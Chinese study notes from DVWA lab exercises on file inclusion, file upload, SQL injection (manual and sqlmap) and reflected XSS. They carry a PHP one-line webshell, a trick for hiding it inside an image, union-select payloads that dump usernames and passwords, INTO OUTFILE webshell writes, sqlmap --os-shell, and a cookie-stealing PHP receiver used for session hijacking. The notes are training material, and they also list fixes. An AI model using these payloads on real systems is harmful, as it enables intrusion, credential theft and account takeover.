要访问以上内容,需要通过…/返回上一级目录两次,然后访问指定文件。

要验证是否能够执行远程文件。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QDjlGhim-1679106191757)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101171448280.png)]

在A服务器上上传得到webshell文件后在B服务器执行该文件。

low等级的url在medium等级不适用。通过观察返回信息用排除法证明,…/被服务器过滤掉。…\也可以返回上一级目录。判断远程文件执行的代码也被过滤掉了某些字符。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CDYGS7ya-1679106191762)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101172300374.png)]

由排除法,知道了网站只过滤http://一个完整结构,分开并不过滤,因此使用上图方法处理成功。

本地文件的读取还可以使用**file://**协议,文件传输协议,访问本地计算机中的文件

远程文件文件的读取在high中只支持file本地文件读取,需要结合文件上传漏洞来完成读取。

文件上传漏洞

Web允许用户上传恶意代码文件,并在服务器上运行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vtf851tt-1679106191763)(C:\Users\11373\Pictures\QQ图片20191106191250.png)]

一句话web shell(cmd.php)

@eval($_GET['cmd'])

?> //可调用cmd中的系统命令

上传失败后可通过ZAP抓包来判断失败原因 。主要的方法还是不断地尝试。

medium等级通过ZAP修改文件类型就可以上传成功

high等级尝试多种方式后均失败,采用**制作“内涵图”**的方式。

将文本文件与图片结合达到上传代码的目的。cmd中输入 copy 1.jpg/b+1.txt/a 2.jpg

用编辑器打开新图片,发现php代码在最后。

还可以借助web容器解析漏洞,例如nginx解析洞。**畸形解析:**xxx.xxx/xxx.php只要前一个文件存在,就会当成后一个文件解析

注:在cmd中,图片属于二进制文件,需要在其后面加上/b;文本文件加上/a。

在impossible中,上传的图片被服务器重新生成了正常的图片。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RIzpxjnC-1679106191763)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106204628717.png)]

阻止非法文件上传已经能够阻止绝大多数的文件上传漏洞!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PMqZE3Ax-1679106191764)(C:\Users\11373\Pictures\QQ图片20191106204743.png)]

阻止非法文件执行也可以有效的防止漏洞!

SQL回显注入

命令注入是注入的系统命令,而SQL注入是注入的SQL语句。

SQL回显注入是把数据库的执行结果直接显示到页面上

探测是否存在漏洞:输入1’,若存在sql注入漏洞,那么系统会报错并将错误信息展示出来(错误回显)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZpQxCaZm-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106205806614.png)]

1024=1024是真,再加上or,这个语句为真。我们需要写的poc语句是

1 or 1024=1024

1' or '1024'='1024

1" or "1024"="1024

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uhw3e3Zj-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106210200940.png)]

查询数据库过程(重要):

1. 确定查询字段数

1)输入1’ order by 1-- ,返回正常说明字段数≥1(注意-- 后面的空格)

2)输入1’ order by X-- ,报错,说明字段数≤X,X为猜测值

3)继续猜测我们可以用二分法,10与1之间取5,5和1取3等。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PFPMURui-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107191955419.png)]

2. 确定回显点

要用到 union select命令。

id=xx' union select 1,2

3. 查询数据库信息 例如

id=xx' union select @@version,@@datadir //查询数据库版本和文件目录

4. 查询用户名和数据库名

id=xx' union select user(),database()

5. 查询表名(数据库名dvwa)

id=xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'

注:查询数据表名要用到information_schema.tables!!

6. 查询列名(字段名)(表名dvwa.users)

id=xx' union select 1,column_name from information_schema.columns where table_name='users'

注:查询列名要用到information_schema.columns!!

7. 查询用户名和密码

id=xx' union select user,password from users //表名

8. 文件读取

要用到**lode_file()**函数

id=xx' union select load_file("文件路径")

9. 写Web shell

php一句话木马

@eval($_GET['cmd'])l;

?>//用来执行cmd系统命令

如何写入?

可故意构造错误的SQL语句,让web服务器爆出web根目录。 用到select …into outfile …

id=xx' union select "","webshell" into outfile "web根目录" //黑客是不会明显的写入web shell的

SQL注入自动化:sqlmap。

1. 攻击参数 -u 用来指定url,-p 用来指定id参数, –cookie用来指定cookie参数(phpsessid)

输入-u"" -p"" --cookie""后的执行结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ADMMw8Lm-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201433029.png)]

2. 获取当前用户和数据库名(–current-user --current-db)

用到**–current-user --current-db**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NN5M8l4O-1679106191766)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201725201.png)]

3.查询表名–tables、字段名–columns

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-en1m22Sm-1679106191766)(C:\Users\11373\Pictures\QQ图片20191107201944.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2LbjdXKg-1679106191766)(C:\Users\11373\Pictures\QQ图片20191107202050.png)]

4.查询用户名密码 --dump(重要)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SwwfadlW-1679106191767)(C:\Users\11373\Pictures\QQ图片20191107202221.png)]

sqlmap支持自动破解md5,可将哈希值自动破解。

5.上传Web shell --os-shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X3XNHIUT-1679106191767)(C:\Users\11373\Pictures\QQ图片20191107202412.png)]

然后再指定物理路径,就可以成功执行系统命令,例如dir。

在medium等级中,ID不能手动输入,可以通过Tamper Data手动提交post、确定POC来完成注入。

注:SQL注入中,遇到转义字符串的单引号‘和双引号”会被转义,通过将其HEX编码来执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElOUF5FW-1679106191767)(C:\Users\11373\Pictures\QQ图片20191107203019.png)]

medium等级中,通过post提交的数据在**–data**中而不是-u

high等级中,手工注入与low相同,在sqlmap自动注入时不同。注入的点与返回的点不在同一个页面,需要用到**–second-order命令来指定返回的页面**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uIMV2poV-1679106191767)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107203823437.png)]

在impossible等级中,查看源代码发现检测了id数据类型,使用了预编译绑定id变量有效地防止了SQL注入

修复SQL注入漏洞最普遍的方式是参数化SQL语句,除了预编译还可以使用存储过程。通过用户输入进行过滤,使用白名单过滤

SQL盲注

盲注不会显示SQL注入的结果

涉及的命令:

(1)获取字符串长度length(str),通过二分法确定长度。

(2)获取字符串中单个字符串substr(expression,start,length)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yd3lze9o-1679106191768)(C:\Users\11373\Pictures\AZNY[RHO9WYX4O6{9$%W5GN.png)]

select substr('test',2,3); //获取test的后三个字符

(3)获取第一个字符的ASCII数值(字符串) ascii(string)

select ascii('test');

注:单字符的ASCII码范围:0-127,查询ascii码也用二分法,逐个确认。

SQL盲注分为布尔型(上)和延时型(下)

用到的函数:

(1)if(expr1,expr2,expr3) 如果expr1为真,返回expr2,否则返回expr3

select if(1,'true','false');

(2)延时休眠函数sleep(N) 休眠(N秒)

select sleep(3);

(3)**benchmark(count,expr)**重复执行一个方法多少次

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CpgqoyjG-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110121156304.png)]

select benchmark(50000000000,md5('test'));

利用sqlmap自动化执行,–current-db -v 1-6 (-v表示输出详细信息 1表示最少,6表示最多)

(1)cast(expression as data_type)将十六进制转化为字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b4GIOfPP-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122554818.png)]

(2)ifnull(expr1,expr2)如果expr1是null,返回expr2,否则返回本身

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c5V686xW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122723724.png)]

selecct ifnull('test',null)

(3)mid(expression,start,length) 类似于substr,用来获取子字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-76PAHrYW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123209238.png)]

(4)ord(string) 类似于ascii函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HMopNug0-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123324986.png)]

在high等级中,发现id在cookie参数中。

XSS

本质上是客户端代码注入,通常注入代码是JavaScript,区别于命令注入、sql注入等服务端代码注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WzBDsLTm-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110124553653.png)]

反射型

通过注入尖括号脚本来检查是否存在漏洞

js弹窗函数:alert() ,confirm() ,prompt() 根据服务器的过滤情况选择函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AgwBqVlQ-1679106191770)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110125606800.png)]

攻击者可以以用户身份进行任意的操作。

1.获取用户cookie生成txt文件的php代码:

$cookie = $_GET['cookie'];

file_put_contents('cookie,txt',$cookie);

?>

2.攻击js脚本

//访问参数中的地址,将cookie复制进url

3.已知name参数存在xss,构造攻击url,还需要将js脚本进行url编码(hackbar)

http://10.240.138.212/DVWA-1.9/vulnerabilitira/xss_r/?name=

4.劫持会话,将获得的cookie在拦截页面中修改cookie,成功已admin身份进入

推荐链接

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。